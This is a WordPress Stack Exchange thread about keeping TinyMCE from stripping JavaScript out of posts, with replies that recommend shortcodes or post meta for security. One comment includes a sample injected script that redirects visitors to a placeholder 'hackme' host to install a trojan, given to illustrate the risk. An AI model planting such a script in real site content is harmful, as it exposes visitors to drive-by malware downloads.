Take the 2-minute tour ×
WordPress Development Stack Exchange is a question and answer site for WordPress developers and administrators. It's 100% free, no registration required.

Ok, I've seen solutions which go halfway to sorting out this problem, but nothing definitive, and nothing that 100% solves my problem.

Scenario:

  • In HTML mode, I add some javascript to a post I'm editing.
  • I switch to Visual, then back to HTML, and the tag and all of its content are gone.

How do I stop this from happening? I've tried adding custom code to my functions.php trying to access the extended_valid_elements for TinyMCE, but nothing works.

Please help!

share|improve this question
    
Are you using WordPress as a single installation or in multisite mode? –  Matthew Boynes Oct 2 '12 at 13:25
    
This is essentially a gaping security hole you're trying to open –  Tom J Nowell Oct 2 '12 at 13:32
    
Why do you want to do this? –  Tom J Nowell Oct 2 '12 at 15:55
    
Hi, the main reason for wanting to do this is because on a few sites I run, I commonly insert Google Adsense code within the body of posts. The CPC is much greater this way, and I often experiment with different ads. The pages that have the Adsense JS code are often edited in Visual mode, and it is such a pain that I have to constantly copy and paste the JS code back in when it gets removed. I appreciate the security concerns, but then if my login was breached then it opens up much more problems than just JS issues - the very nature of the breach itself would be a massive problem. –  Buckers Oct 2 '12 at 20:06
    
Then it appears you have asked for a fix for your kludge, the correct question to ask would be how to add adsense into the middle of posts, to which the correct answer would have been a shortcode, and there are many available, likely one a custom one would have been posted and you'd have gotten much reputation for asking and several badges for noteworthy question. Instead you asked how to put arbitrary Javascript into post content, and the response you got was that doing so was bad practice and a significant security hole. –  Tom J Nowell Oct 2 '12 at 22:44

1 Answer 1

up vote 1 down vote accepted

Adding JS to the content is very, very bad practice, and it's just asking to be hacked.

Add it via a shortcode, or if you really must, use a post meta/custom fields to store the js and display it after the content in your template using echo get_post_meta($post->ID,'post_javascript',true );

share|improve this answer
    
Hey Tom, I think it would be really helpful if you could provide some evidence as to why this is bad practice, and why it's asking to be hacked! –  Matthew Boynes Oct 2 '12 at 14:47
    
because anyone can put anything into your content, be it something that makes your hyperlinks flash, or something that performs a drive by download. Anyone with access to your DB or with post edit access can use your site to spread malicious javascript –  Tom J Nowell Oct 2 '12 at 15:54
    
It also mixes content/data with functionality/controllers, and makes your content non-portable across themes as changing themes would break the content. –  Tom J Nowell Oct 2 '12 at 15:55
    
e.g. "Hello this is my first blogpost! <script>window.location="www.hackme.com/installtrojan";</script>" –  Tom J Nowell Oct 2 '12 at 15:56
2  
I would offer that "anyone with access to your DB or with post edit access" can ruin your day anyway, and implementing this via shortcode or post meta would make no difference in security. Likewise, I don't see shortcodes or post meta separating content/data with functionality/controllers any more than what @Buckers is asking. I think this is a good default for WordPress, don't get me wrong, but I personally see no harm in overriding this behavior with informed consent, nor do I see any security or orthogonality advantages of what you propose. But, hey, maybe I'm missing something? –  Matthew Boynes Oct 2 '12 at 18:15

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.